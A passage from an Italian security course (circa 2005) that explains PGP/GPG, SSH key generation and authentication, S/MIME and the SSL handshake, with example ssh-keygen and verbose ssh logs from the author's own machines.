e pubblicato inizialmente nel 1991 come freeware. Le fun-
zioni di PGP sono: firma digitale, cifratura dei messaggi,
compressione, conversione in ASCII (in base 64) e seg-
mentazione dei messaggi; di queste, le prime due rientrano
nel contesto delle applicazioni crittografiche.
PGP fu fatto circolare liberamente (incluso il codice sor-
gente) e conquist una rapida popolarit. Per cifrare e fir-
mare i messaggi, PGP utilizza la crittografia simmetrica e
asimmetrica. Inizialmente, il cifrario asimmetrico era RSA
e quello simmetrico, dopo un breve periodo con un algo-
ritmo rivelatosi poco sicuro, era IDEA. La chiave segreta
non fu mai inferiore a 128 bit, contravvenendo alle leggi
USA del tempo. Inoltre RSA neg di aver dato un assenso
verbale alluso del proprio cifrario (brevettato fino al 2000)
e il brevetto di IDEA scade nel 2007. Seguirono anni di que-
stioni giudiziarie che man mano si sono risolte senza dan-
no, grazie anche al successo di PGP e ad accomodamenti
sui vari fronti. Oggi esiste lazienda PGP che vende le ver-
sioni commerciali del programma e offre una versione li-
mitata freeware abbastanza scomoda da usare perch non
integrata nei programmi di posta. Tuttavia nel 1997 PGP ha
consentito allIETF di pubblicare uno standard aperto col
nome di OpenPGP. Le RFC pubblicate sono la 2440
(OpenPGP Message Format) del 1998 e la 3156 (MIME Se-
curity with OpenPGP) del 2001. La Free Software Founda-
tion ha pubblicato la propria versione di PGP (GNU Privacy
Guard: GnuPG o GPG) conforme alle specifiche OpenPGP;
disponibile gratuitamente per diverse piattaforme, tra cui
Linux, MAC OS X e Windows.
Oggi sia PGP sia GPG supportano la maggior parte dei
moderni algoritmi crittografici (cifrari simmetrici e asim-
metrici e funzioni hash), tra cui RSA, Diffie Hellmann, El-
Gamal, 3DES, AES, IDEA, CAST5, SHA, RIPEMD-160 e altri. A
differenza di PGP, OpenPGP non utilizza IDEA, che non an-
cora libero da brevetti.
Il funzionamento della firma elettronica in PGP avviene
nel modo seguente: 1) il mittente scrive un messaggio, 2)
viene calcolato un hash del messaggio, 3) lhash cifrato
con la chiave privata del mittente, 4) il mittente invia il mes-
saggio insieme allhash cifrato, 5) il destinatario riceve il
messaggio con lhash, 6) lhash decifrato con la chiave
pubblica del mittente, 7) viene ricalcolato lhash sul mes-
saggio, 8) vengono confrontati lhash decifrato e quello cal-
colato, 9) se i due hash coincidono, il messaggio autenti-
co e integro.
La riservatezza viene ottenuta nel modo seguente: 1) il
mittente scrive un messaggio, 2) il programma genera un
numero casuale utilizzato come chiave di sessione, ovvero
una chiave di cifratura simmetrica usata solo per quel mes-
saggio, 3) il messaggio viene cifrato con un algoritmo sim-
metrico usando la chiave di sessione generata, 4) la chiave
di sessione cifrata con la chiave pubblica del destinatario,
5) il messaggio cifrato e la chiave cifrata sono inviati al de-
stinatario, 6) presso il destinatario, il programma decifra la
chiave di sessione utilizzando la chiave privata del desti-
natario, 7) il messaggio decifrato utilizzando la chiave di
sessione decifrata.
Firma e cifratura possono essere applicate insieme in
questo modo: 1) il mittente scrive un messaggio, 2) il mit-
tente firma il messaggio come visto sopra, 3) messaggio ed
hash sono cifrati come appena visto, 4) messaggio ed hash
cifrati sono inviati al destinatario, 5) presso il destinatario,
la chiave segreta cifrata decifrata con la chiave privata,
ottenendo la chiave di sessione, 6) il resto del messaggio ri-
cevuto decifrato con la chiave simmetrica di sessione, 7)
la prima parte del messaggio decifrato (lhash) viene deci-
frato con la chiave pubblica del mittente, 8) sul resto del
messaggio viene calcolato lhash, 9) vengono confrontati
lhash decifrato e quello calcolato, 10) se i due hash coin-
cidono, il messaggio autentico e integro.
Come si vede, anche PGP sfrutta i principi visti in pre-
cedenza: 1) lintegrit del messaggio viene verificata su un
hash del messaggio, non sullintero messaggio ( molto pi
veloce), 2) il messaggio cifrato con un algoritmo simme-
trico, veloce e non vincolato alla lunghezza dei messaggi, 3)
lalgoritmo asimmetrico viene usato per lo scambio delle
chiavi simmetriche.
Le operazioni sono svolte automaticamente dal softwa-
re, senza interventi delloperatore (dopo la generazione ini-
ziale della coppia di chiavi asimmetriche). PGP offre diver-
se versioni di software commerciale che si integrano con le
applicazioni di posta. La versione freeware richiede invece
la cifratura e decifratura del file o del clipboard, da copia-
re a mano nel programma di posta. GPG viene usato come
modulo di base o attraverso uninterfaccia grafica (ne esi-
stono per i vari sistemi operativi e hanno nomi diversi) e
pu essere integrato con Mozilla e Thunderbird tramite un
add-in chiamato Enigmail.
Per la sicurezza nelluso di PGP si devono considerare
due aspetti: 1) i numeri casuali usati come chiavi di ses-
sione devono essere il pi possibile realmente casuali; si
usano algoritmi PRNG (pseudo-random number generator)
e meccanismi che sfruttano eventi casuali naturali per ge-
nerare sequenze di numeri casuali e non ripetibili; 2) le
chiavi pubbliche devono essere effettivamente tali e verifi-
cabili; le implementazioni pi moderne di PGP e GPG si ba-
sano su un server di distribuzione delle chiavi pubbliche,
ma inizialmente le chiavi erano pubblicate su qualche ser-
ver e gli utenti si scambiavano gli hash delle chiavi per con-
sentire il controllo dellautenticit.
Installare e configurare un prodotto PGP
Le versioni commerciali e la versione freeware di PGP,
con la relativa documentazione, sono disponibili presso il
sito di PGP Corporation (www.pgp.com). La versione
freeware limitata per Windows scaricabile alla pagina
www.pgp.com/downloads/freeware/freeware.html ed fa-
cilmente installabile eseguendo il file scaricato. Unicona
nella barra di notifica di Windows (in basso a destra) d ac-
cesso alle funzioni disponibili (le principali sono genera-
zione chiavi, firma, cifratura, firma e cifratura, decifratura).
I messaggi possono risiedere in un file o nel clipboard di
Windows. Solo le versioni a pagamento includono un plu-
gin per i programmi di posta, come Outlook, in modo da fir-
mare, cifrare e decifrare i messaggi dallinterno del pro-
gramma.
GPG gi incluso in diverse distribuzioni Linux (come
SuSE Linux 9.2 e Fedora 3), inoltre scaricabile per vari si-
www.pcopen.it 39
5.2.7.4 Essere in
grado d'installare e
configurare un
prodotto che gestisca
il protocollo PGP
5.2.7.3 Conoscere i
principali aspetti
operativi di PGP
stemi operativi presso www.gnupg.org e i siti collegati. La
versione per Windows a linea di comando, ma esistono
plugin GPG per i programmi di posta, come EudoraGPG per
Eudora sotto Windows (http://eudoragpg.sourceforge.
net/ver2.0/en/).
In Windows, GPG pu essere utilizzato direttamente
aprendo il file eseguibile, oppure pu essere installato se-
condo i canoni di Microsoft editando il registro di sistema.
Le istruzioni presso http://enigmail.mozdev.org/gpgcon-
fig.html guidano allinstallazione e configurazione di GPG in
Windows 9x e in Windows NT/2000/XP.
Una sintetica guida in italiano alluso di GPG reperibi-
le presso www.gnupg.org/(en)/howtos/it/GPGMiniHow-
to.html. Unottima guida per usare la versione di GPG a li-
nea di comando per Windows www.glump.net/
content/gpg_intro.pdf.
Lambiente ideale
per utilizzare GPG
SuSE Linux, dato
che il client di po-
sta KMail e lutility
di gestione delle
chiavi KGpg fanno
parte dellinterfac-
cia standard KDE. Fedora 3 usa per default linterfaccia
GNOME, ma include parecchie applicazioni KDE, come
KMAIL e KGpg (utilizzabili modificando le applicazioni pre-
ferite nelle preferenze).
Per utilizzare GPG sinizia creando una coppia di chiavi
in KGpg. La scelta dellalgoritmo asimmetrico tra RSA e la
coppia DSA/ElGamal (firma e scambio chiavi).
Secure Shell - SSH
Secure Shell (SSH) un protocollo per realizzare un col-
legamento remoto sicuro da un computer a un altro attra-
verso una rete insicura. Supporta il login remoto sicuro, il
trasferimento sicuro di file e linoltro sicuro del traffico di
tipo TCP/IP e X Window. SSH in grado di autenticare, ci-
frare e comprimere i dati trasmessi. Sebbene si chiami Se-
cure Shell, SSH non un vero shell come il Bourne shell
(linterprete dei comandi) o il C shell di Unix e non un in-
terprete di comandi. SSH crea un canale sicuro per esegui-
re uno shell da un computer remoto, in modo simile al co-
mando rsh (remote shell) di Unix, ma con cifratura end-to-
end (da unapplicazione allaltra) tra il computer locale e il
computer remoto. A differenza di rsh, SSH assicura lau-
tenticazione, la riservatezza e lintegrit alla trasmissione
in rete. Esistono molti prodotti basati su SSH, per i diversi
sistemi operativi e in versioni sia commerciali sia a libera
distribuzione.
Una comunicazione con il protocollo SSH implica la par-
tecipazione di due attori: il client da cui parte la richiesta
di collegamento e il server a cui la richiesta indirizzata.
Client e server operano secondo uno schema che prevede
numerose varianti. Inoltre esistono due versioni di proto-
collo, SSH-1 e SSH-2, tra loro incompatibili. La prima sup-
portata da tutti i prodotti, ma vulnerabile; la seconda, pi
articolata e sicura, non supportata da alcuni prodotti, co-
me TGSSH per PalmOS. I programmi recenti supportano en-
trambe le versioni e sono quindi in grado di connettersi a
qualunque tipo di server.
Il termine SSH indica in genere sia una versione di pro-
tocollo che un prodotto software. Per distinguere tra i pro-
www.pcopen.it 40
Generazione chiave GPG
con SUSE.
Viene chiesta una
passphrase, o frase
segreta, per proteggere
laccesso alle chiavi.
Le chiavi vengono
generate e identificate,
come indicato da KGpg.
La coppia di chiavi viene
quindi elencata nel
repertorio di chiavi
disponibili
Ora occorre configurare
KMail nella sezione
Identit, che fa
riferimento alle chiavi
KGpg
Per firmare e cifrare i
messaggi in KMail, si
compone il messaggio,
si seleziona unidentit
(coppia di chiavi GPG) e
si premono le icone di
firma e di cifratura.
Un messaggio firmato
e cifrato in KMail,
spedito a se stessi,
viene cos decifrato e
verificato
5.2.7.5 Conoscere i
principi operativi di
SSH
tocolli e i prodotti commerciali, spesso si usa la seguente
terminologia: SSH-1 e SSH-2 indicano i protocolli (per esem-
pio SSH-1-5); SSH1 e SSH2 indicano due prodotti di SSH
Communications Security (formata dal finlandese Tatu
Ylnen, autore della prima versione del protocollo); OpenS-
SH una versione gratuita multipiattaforma di OpenBSD
Project; OpenSSH/1 e OpenSSH/2 indicano il comporta-
mento di OpenSSH in relazione alluso di SSH-1 e SSH-2; ssh
indica un programma client incluso in SSH1, SSH2, OpenS-
SH, F-Secure SSH e altri prodotti. SSH e OpenSSH sono de-
scritti in vari documenti IETF (nel 2005 ancora a livello di
bozza - draft).
Stabilire la connessione
Il funzionamento di SSH complesso e ricco di funzio-
nalit e opzioni, tanto da richiedere un libro per una de-
scrizione completa (il pi noto SSH, The Secure Shell:
The Definitive Guide di Barret e Silverman, pubblicato da
OReilly). Vediamo lo schema di funzionamento di SSH-1
nella fase in cui viene stabilita la connessione.
1) Il client contatta il server, inviando una richiesta di
connessione alla porta TCP 22 del server; 2) Il server ri-
sponde con una stringa (del tipo SSH-1.99-OpenSSH_2.3.0)
che indica la versione del protocollo e del prodotto. Se il
client non supporta la versione (o una delle versioni) del
server, chiude la connessione, altrimenti risponde con una
stringa simile. Quando client e server supportano entram-
be le versioni di SSH, decidono quale utilizzare.
3) Il client e il server passano alluso di un formato di
pacchetto pi sicuro, al di sopra del TCP che funge da tra-
sporto, in modo da sventare attacchi al testo in chiaro.
4) Il server identifica se stesso al client e fornisce i pa-
rametri per la sessione. Invia le seguenti informazioni in
chiaro: la chiave pubblica dellhost (fissata allinstallazio-
ne), la chiave pubblica del server (rigenerata periodica-
mente per sventare tentativi di crittoanalisi), una sequen-
za casuale di otto byte (check bytes o cookie) che il client
dovr ripetere e liste dei metodi di cifratura, di compres-
sione e di autenticazione supportati dal server.
5) Sia il client sia il server calcolano un identificativo di
sessione comune di 128 bit, usato nelle operazioni succes-
sive per identificare in modo univoco la sessione SSH. Si
tratta di un hash MD5 sullinsieme di chiave host, chiave
server e cookie.
6) Il client verifica che la chiave host del server corri-
sponda alla chiave gi memorizzata (la prima volta chiede
conferma). In caso di discrepanza, la connessione termina
(il server connesso potrebbe essere quello di un terzo in-
comodo che tenta di eseguire un attacco man in the midd-
le per appropriarsi della connessione).
7) Il client genera una chiave di sessione, ottenuta ge-
nerando un numero casuale di 256 bit, calcolando lOR
esclusivo tra lidentificativo di sessione e i primi 128 bit del-
la chiave di sessione. Scopo della chiave di sessione ci-
frare e decifrare i messaggi tra client e server. Dato che la
cifratura non ancora attiva, la chiave non pu essere tra-
smessa in chiaro. Perci il client cifra questa chiave due
volte, sia con la chiave host sia con la chiave server sopra
citate. Dopo la cifratura, il client invia la chiave di sessione,
insieme al cookie e a una lista di algoritmi, scelti tra quelli
supportati dal server.
8) Dopo linvio della chiave di sessione, entrambe le par-
ti iniziano a cifrare i dati con tale chiave e lalgoritmo sim-
metrico prescelto. Prima dinviare dati, per, il client at-
tende un messaggio di conferma dal server, cifrato con la
chiave di sessione. Esso fornisce lautenticazione del ser-
ver: solo il vero server in grado di decifrare la chiave di
sessione, cifrata con la chiave host verificata in preceden-
za a fronte della lista degli host noti.
Autenticazione del client
Una volta stabilita la connessione (inclusa autentica-
zione del server), inizia la fase di autenticazione del client.
Nel caso pi semplice, essa si limita allinvio dellidentifi-
cativo di utente e della password; sebbene siano trasmes-
si cifrati, tale metodo poco sicuro e sconsigliato, soprat-
tutto per la diffusa abitudine di scegliere password deboli.
Normalmente si consiglia di utilizzare una coppia di chiavi
RSA o DSA per lautenticazione del client (SSH accetta co-
munque anche altri tipi di autenticazione).
Lautenticazione del client con chiavi RSA in SSH-1 av-
viene secondo i passi che seguono. Per accedere a un ac-
count su una macchina in funzione di server (client e ser-
ver possono comunque scambiarsi i ruoli), il client dimo-
stra di possedere la chiave privata corrispondente a una
chiave pubblica autorizzata. Una chiave autorizzata se
la componente pubblica contenuta nel file di autorizza-
zione dellaccount (per esempio ~/.ssh/authorized_keys).
Ecco la sequenza delle azioni.
1) Il client invia al server una richiesta di autenticazione
con chiave pubblica e indica quale chiave intende usare
(trasmette il modulo e lesponente, vale a dire i due ele-
menti dellalgoritmo RSA che costituiscono la chiave
pubblica).
2) Il server legge il file delle autorizzazioni per laccount
dellutente e cerca una voce contenente la stessa chiave
(in sua assenza, lautenticazione con chiave fallisce). Se
il controllo positivo e non ci sono restrizioni alluso di
tale chiave da parte del client e del suo host, il processo
continua.
3) Il server genera una stringa casuale di 256 bit come chal-
lenge, la cifra con la chiave pubblica dellutente e la in-
via al client.
4) Il client riceve il challenge e lo decifra con la corrispon-
dente chiave privata; in tale fase il programma di solito
chiede allutente una passphrase (frase segreta) che ser-
ve unicamente a decifrare la chiave privata, che per si-
curezza salvata cifrata. Dopo di che il client combina il
challenge con lidentificativo di sessione, ne calcola lha-
sh con MD5 e lo invia al server in risposta al challenge.
5) Il server confronta il digest ricevuto con quello calcola-
to e, se coincidono, considera autenticato lutente.
La descrizione appena fornita si riferisce a SSH-1; SSH-2
non molto diverso, ma pi sicuro, pi elegante e pi fles-
sibile. SSH-1 ha una struttura monolitica ed esegue pi fun-
zioni in un singolo protocollo; SSH-2 articolato in tre com-
ponenti principali: Transport Layer Protocol, Connection
Protocol e Authentication Protocol.
1) SSH Transport Layer Protocol. Le connessioni negozia-
te con tale protocollo godono di cifratura forte, autenti-
cazione del server e protezione dellintegrit. Pu esse-
re fornita anche la compressione.
2) SSH Connection Protocol. Permette ai nodi client di ne-
goziare canali aggiuntivi per convogliare (multiplex) di-
versi flussi (stream) di pacchetti da pi applicazioni at-
traverso il tunnel SSH originario. I diversi flussi vengono
mescolati secondo un preciso metodo al fine di convo-
gliarli tutti attraverso il medesimo tunnel e quindi sepa-
rarli di nuovo (de-multiplex) alluscita dal tunnel. Di-
sporre il Connection Protocol sopra il Transport Layer
Protocol riduce anche il carico di elaborazione, perch
lutente non costretto a impostare una nuova connes-
sione per ogni applicazione.
3) SSH Authentication Protocol. Il processo di autentica-
zione separato dal Transport Layer Protocol, perch
non sempre necessario autenticare lutente. Quando
richiesta lautenticazione, il processo viene protetto
dalla connessione sicura originaria stabilita dal Tran-
sport Layer Protocol.
Come abbiamo visto, linstaurazione del collegamento e
lautenticazione costituiscono una procedura complessa,
ma, salvo per la richiesta della passphrase, si tratta di una
www.pcopen.it 41
procedura automatica e pressoch istantanea. Il meccani-
smo di SSH molto sicuro a patto di utilizzarlo corretta-
mente.
Vediamo alcuni potenziali rischi.
1) Lutilizzo di un cifrario simmetrico debole per cifrare i
dati. Per esempio, DES (supportato da SSH-1, ma non
SSH-2) va evitato perch facilmente violabile; si possono
usare 3DES, AES e altri algoritmi forti.
2) Utilizzo di nome utente e password. Non dovrebbe es-
sere usato perch offre unautenticazione meno sicura ri-
spetto alluso delle chiavi asimmetriche, anche nel caso
di password scelte oculatamente.
Vediamo alcuni punti deboli delle implementazioni. Il
principale limite alla sicurezza posto talvolta dalla scel-
ta del software e dalla sua versione. E consigliabile
consultare i report di sicurezza (advisories) di
www.cert.org per conoscere i punti deboli delle
implementazioni di SSH per le varie piattaforme (per una
descrizione delle funzioni di CERT, Computer Emergency
Response Team, vedi la sezione 5.1.3.5 della prima
lezione: CERT, CSIRT e la gestione degli incidenti,
pubblicata come capitolo 11 nel corso multimediale su
CD). Per esempio, ladvisory www.cert.org/advisories/CA-
2002-36.html elenca numerose implementazioni di SSH e
ne riporta gli eventuali punti deboli. In generale, preferi-
bile utilizzare la versione 2 di SSH, a meno che non vi
siano validi motivi per scegliere la prima versione. In ogni
caso, oggi esistono diversi prodotti SSH-2 per diverse
piattaforme, incluso Palm OS (vedi www.tussh.com/
www.palmgear.com/index.cfm?fuseaction=software.show-
software&PartnerREF=&siteid=1&prodid=72847&siteid=1
www.sealiesoftware.com/pssh
http://staff.deltatee.com/ ~angusa/TuSSH_old.html).
Finora abbiamo menzionato il funzionamento di ssh, il
client SSH per il login remoto. Altri esempi di client SSH so-
no scp per il trasferimento sicuro dei file, sftp per la con-
nessione sicura FTP e ssh-agent, un agente che permette
lautenticazione sicura con parecchi computer in rete sen-
za bisogno di ricordare tutte le passphrase. Il daemon sshd
viene invece utilizzato per restare in ascolto in attesa del-
le chiamate dai client SSH.
Installare un prodotto che gestisce
il protocollo SSH
SSH solitamente supportato dalle moderne distribu-
zioni Linux (in versione OpenSSH) attraverso applicazioni
come ssh, scp, ssh-keygen, sshd e sftp. Anche MAC OS X
dotato di SSH (1.5 e 2.0). OpenSSH disponibile per vari si-
stemi operativi, incluso Windows. Per Palm OS esistono
Top Gun SSH (solo SSH-1) e TuSSH (SSH-1 e SSH-2). Per Win-
dows esistono diverse versioni, elencate in www.opens-
sh.com/windows.htm; tra queste, una delle pi note
PuTTY, un client Telnet, Rlogin e SSH per il login remoto. E
concesso in licenza gratuita dallMIT ed facile da usare,
anche se meno sicuro della versione OpenSSH
(http://sshwindows.sourceforge.net/); sia PuTTY sia
OpenSSH for Windows supportano le due versioni di SSH.
I computer che agiscono da server devono avere instal-
lata anche unapplicazione SSH server, il che frequente,
ma non sempre accade (per esempio PuTTY solo client).
In Linux e Mac OS X, SSH implementato anche come ser-
ver; per Windows esistono versioni server (sshd) com-
merciali come WinSSHD (http://www.bitvise.com/wins-
shd.html).
Alcune applicazioni SSH, vedi OpenSSH, sono del tipo
software libero, distribuite anche come sorgenti. Normal-
mente ci si limita a scaricare i file eseguibili per la piat-
taforma desiderata (per esempio Win32 su hardware x86).
Se occorre, bisogna espandere i file compressi, per esem-
pio con tar (formati tar e tgz), rpmI (formato rpm), dpkg
(formato debian) o Winzip (formato zip).
Installato, se occorre, il software SSH, sar bene utiliz-
zare quando possibile la versione 2 e comunque evitare di
utilizzare DES se si usa la versione 1. In OpenSSH si posso-
no modificare le impostazioni SSH a livello di sistema nei fi-
le /etc/ssh/ssh_config e /etc/ssh/sshd_config.
Quanto allautenticazione, senzaltro preferibile utiliz-
zare le chiavi asimmetriche. Basta generare le chiavi con
lapposita utility (come ssh-keygen) e copiare le chiavi pub-
bliche sul server come specificato per la versione di SSH
utilizzata (vedi lesempio in Linux pi avanti).
In Linux, i parametri Cipher e Ciphers in ssh_config han-
no i seguenti valori di default:
Cipher 3des
Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-
cbc,arcfour,aes192-cbc,aes256-cbc
Il parametro PasswordAuthentication vale solo per i ser-
ver ed preferibile sia impostato a no.
Il parametro PermitRootLogin, per i server, permette di
collegarsi come root; si consiglia yes qualora le password
non fossero abilitate, altrimenti si consiglia il valore
without-password, in modo da forzare luso delle chiavi per
lautenticazione.
Creare una chiave
con un pacchetto compatibile SSH
Nella maggior parte dei casi, la generazione delle chiavi
assai semplice, come si vede in questo esempio di dialo-
go in Linux, dove richiesta la generazione di chiavi DSA e
luso della versione 2 di SSH.
La passphrase pu essere omessa, ma il suo uso con-
sigliato per proteggere la chiave privata, che deve restare
segreta.
gobbi@linux:~> ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key
(/home/gobbi/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in
/home/gobbi/.ssh/id_dsa.
Your public key has been saved in
/home/gobbi/.ssh/id_dsa.pub.
The key fingerprint is:
bc:ed:44:26:7a:29:66:1b:5f:6a:d3:15:cb:ef:b6:6d
gobbi@linux
Le versioni di OpenSSH permettono di operare come se-
gue.
Nelle versioni non recenti di SSH ci si pu limitare a usa-
re ssh-keygen per generare una coppia di chiavi RSA. Nelle
versioni recenti si pu scegliere fra tre modalit:
1) ssh-keygen -t rsa1 per chiavi RSA con versione 1 di SSH
2) ssh-keygen -t rsa per chiavi RSA con versione 2 di SSH
3) ssh-keygen -t dsa per chiavi DSA con versione 2 di SSH
Vengono chieste due informazioni: il nome del file dove
si vuole memorizzare la chiave privata (la chiave pubblica
viene salvata in un file con lo stesso nome e suffisso .pub)
e la passphrase di sblocco della chiave privata.
Se, per generare le chiavi, si usa PuTTY in Windows, ba-
sta eseguire Puttygen.exe e specificare in basso una delle
tre opzioni, equivalenti a quelle viste per OpenSSH; si con-
siglia di usare una delle due previste per SSH-2. Si pu mo-
dificare la lunghezza della chiave, ma il default di 1.024
adeguato.
Dopo il clic su Generate, viene chiesto di muovere il
mouse sopra la finestra del programma, in modo da gene-
rare eventi casuali che aiutano a produrre valori casuali.
Dopo la generazione, si scrive la passphrase per protegge-
re la chiave privata. Le chiavi pubblica e privata sono sal-
vate separatamente ed preferibile che abbiano lo stesso
nome (viene aggiunto .ppk a quella pubblica).
www.pcopen.it 42
5.2.7.6 Essere in
configurare un
prodotto software
che gestisca il
protocollo SSH
Inserire chiavi su un server per autenticarne
i proprietari
Nellautenticazione con chiavi, il server deve conoscere
le chiavi pubbliche dei client che si collegano. Ci avviene
copiando le chiavi pubbliche in una data posizione del ser-
ver. Nel caso di un utente che utilizza OpenSSH su un si-
stema Linux o Mac OS X, si procede come segue.
1) Si decide quale identificativo di utente (user-id) va as-
sociato al client.
2) Ci si sposta nella sua home directory (per esempio /ho-
me/gobbi).
3) Ci si sposta nella sottostante cartella .ssh.
4) Si crea il file authorized_keys se si usa la versione 1 o
authorized_keys2 se si usa la versione 2 (per esempio
touch authorized_keys2); si limitano gli accessi con ch-
mod 600 authorized_keys2.
5) Si copia la chiave pubblica del client remoto in authori-
zed_keys2; per esempio, se si trasferita la chiave su un
floppy che poi stato montato in /mnt sul server e la di-
rectory corrente /home/gobbi/.ssh, si pu usare cat
/mnt/id_dsa.pub >> authorized_keys2.
6) Altrimenti si pu trasferire la chiave al server remoto
con un comando del tipo scp id_dsa.pub gob-
bi@192.168.0.190:./id_dsa.pub, che esegue una copia si-
cura del file dalla directory .ssh del client alla home di-
rectory sul server.
Nelluso di SSH particolarmente utile lopzione -v (ver-
bose) per vedere ci che accade a ogni passo. La connes-
sione SSH (versione 2) dellutente gobbi (su Linux SuSE) al
computer con indirizzo 192.168.0.190 (con Linux Fedora),
autenticata con chiavi DSA, ha il seguente aspetto. Dopo lo
scambio dinformazioni e di chiavi, la scelta dei protocolli
e lautenticazione con chiavi asimmetriche, inizia la ses-
sione interattiva. In assenza dellautenticazione con chiavi,
verrebbe chiesta la password di Gobbi sul server.
gobbi@linux:~/.ssh> ssh -2 -v gobbi@192.168.0.190
OpenSSH_3.9p1, OpenSSL 0.9.7d 17 Mar 2004
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Applying options for *
debug1: Connecting to 192.168.0.190 [192.168.0.190]
port 22.
debug1: Connection established.
debug1: identity file /home/gobbi/.ssh/id_rsa type 1
debug1: identity file /home/gobbi/.ssh/id_dsa type 2
debug1: Remote protocol version 1.99, remote software
version OpenSSH_3.9p1
debug1: match: OpenSSH_3.9p1 pat OpenSSH*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.9p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST
(1024<1024<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host '192.168.0.190' is known and matches the
RSA host key.
debug1: Found key in /home/gobbi/.ssh/known_hosts:1
debug1: ssh_rsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue:
publickey,gssapi-with-mic,password
debug1: Next authentication method: publickey
debug1: Offering public key: /home/gobbi/.ssh/id_rsa
debug1: Authentications that can continue:
publickey,gssapi-with-mic,password
debug1: Offering public key: /home/gobbi/.ssh/id_dsa
debug1: Server accepts key: pkalg ssh-dss blen 433
debug1: read PEM private key done: type DSA
debug1: Authentication succeeded (publickey).
debug1: channel 0: new [client-session]
debug1: Entering interactive session.
Last login: Thu Apr 7 15:51:48 2005
[gobbi@host ~]$
Secure/Multipurpose Internet Mail
Extensions - S/MIME
S/MIME (Secure/Multipurpose Internet Mail Extensions)
un protocollo che aggiunge la cifratura e la firma elettro-
nica ai messaggi MIME descritti nella RFC 1521 (Mechani-
sms for Specifying and Describing the Format of Internet
Message Bodies). MIME lo standard che specifica come
devono essere trasferiti i dati multimediali e gli allegati di
e-mail. I messaggi di posta su Internet consistono di due
parti, lintestazione e il corpo. Lintestazione raccoglie una
serie di coppie campo/valore che forniscono informazioni
essenziali per la trasmissione del messaggio, secondo la
struttura specificata nella RFC 822. Il corpo di solito non
strutturato a meno che il messaggio sia in formato MIME.
MIME definisce la struttura del corpo del messaggio in mo-
do da permettere dincludere testo con attributi, grafica,
audio e altri contenuti in modo standardizzato. MIME non
fornisce alcun servizio di sicurezza. Lo scopo di S/MIME
quindi definire tali servizi secondo la sintassi definita dal
formato PKCS #7 (citato in precedenza) per la firma e la ci-
fratura. S/MIME estende lo standard MIME e permette la ci-
fratura del messaggio e degli allegati. Gli algoritmi di cifra-
tura e hash possono essere specificati dallutente nelle im-
postazioni del programma di posta, come visto nel capito-
lo 5.2.2.1 (Principi di crittografia simmetrica). S/MIME ga-
rantisce la riservatezza mediante lalgoritmo di cifratura,
lintegrit mediante lalgoritmo di hash, lautenticazione
mediante luso di un certificato a chiave pubblica X.509 e il
non ripudio mediante la firma digitale.
S/MIME stato sviluppato in origine da RSA; in seguito
passato allIETF. La sua standardizzazione oggetto del-
lS/MIME Working Group dellIETF (vedi www.imc.org/ietf-
smime/index.html per lelenco dei documenti disponibili).
Ecco alcune caratteristiche di S/MIME.
1) Formato del messaggio: binario, basato su CMS (vedi
PKCS #7)
2) Formato del certificato: binario, basato su X.509
3) Algoritmo simmetrico: TripleDES (DES EDE3 CBC)
www.pcopen.it 43
5.2.7.7 Conoscere i
principi di
funzionamento di
S/MIME.
4) Algoritmo di firma: Diffie-Hellman (X9.42) con DSS
5) Algoritmo hash: SHA-1
Un modo per proteggere la posta elettronica con S/MI-
ME consiste nel procurarsi un certificato personale per e-
mail da Thawte (www.thawte.com/email/ ), che lo fornisce
gratuitamente, rinnovabile di anno in anno.
S/MIME supportato da vari client e-mail: Outlook e Ou-
tlook Express di Microsoft, Netscape Messenger 7.x, Mo-
zilla Mail, Mail in Mac OS X e altri, ma non da Eudora (per
il quale esistono plug-in in ambiente Windows).
Secure Sockets Layer - SSL
Secure Sockets Layer (SSL) un protocollo per la pro-
tezione di un canale di comunicazione attraverso una rete
e funziona allo strato di trasporto, tra i protocolli di tra-
sporto e di applicazione. Come altri protocolli di sicurezza
di rete, SSL utilizza la crittografia simmetrica e asimmetri-
ca e le funzioni di hash per fornire lautenticazione del ser-
ver (e in opzione anche del client), la cifratura dei messag-
gi e lintegrit dei dati. Quando un client (tipicamente un
browser) accede a un sito web, possibile che trovi una
parte delle pagine protette, come accade nei siti che sup-
portano transazioni bancarie o commerciali e la raccolta di
informazioni personali tramite moduli da compilare (form).
Quando il client passa da una pagina pubblica a una pa-
gina sicura, il web server invoca SSL per proteggere la co-
municazione (lutente se ne accorge perch lURL della pa-
gina preceduto da https - cio HTTP over SSL - anzich
http) inoltre compare solitamente unicona nella finestra
del browser che segnala la presenza di una connessione
protetta. Nel caso di Internet Explorer in Windows, ad
esempio, licona ha la forma di un piccolo lucchetto dora-
to che compare in basso a destra. Il server risponde al
client indicando che devessere stabilita una sessione si-
cura e il client invia i propri parametri di sicurezza. Nella
prima fase, opera lHandshake Protocol, il primo dei tre
componenti di SSL. In tale fase client e server negoziano i
parametri crittografici da usare: versione del protocollo,
identificativo di sessione, selezione degli algoritmi critto-
grafici e del metodo di compressione, generazione di nu-
meri casuali iniziali, autenticazione del server (solitamen-
te con un certificato), eventuale autenticazione del client
(rara bench possibile), accordo finale sulla suite di cifra-
ri da usare.
Nella fase di handshake, il client si connette al server, in-
via una serie di dati (versione supportata, un numero ca-
suale che sar usato per lo scambio delle chiavi, un ID di
sessione, la lista degli algoritmi supportati e il metodo di
compressione) e attende risposta.
Il server risponde con un messaggio analogo, con nu-
mero di versione, altri dati casuali, lo stesso ID di sessione
e gli algoritmi scelti dal server per lo scambio delle chiavi
(RSA, Diffie-Hellmann e altri), la cifratura simmetrica, lha-
sh e la compressione.
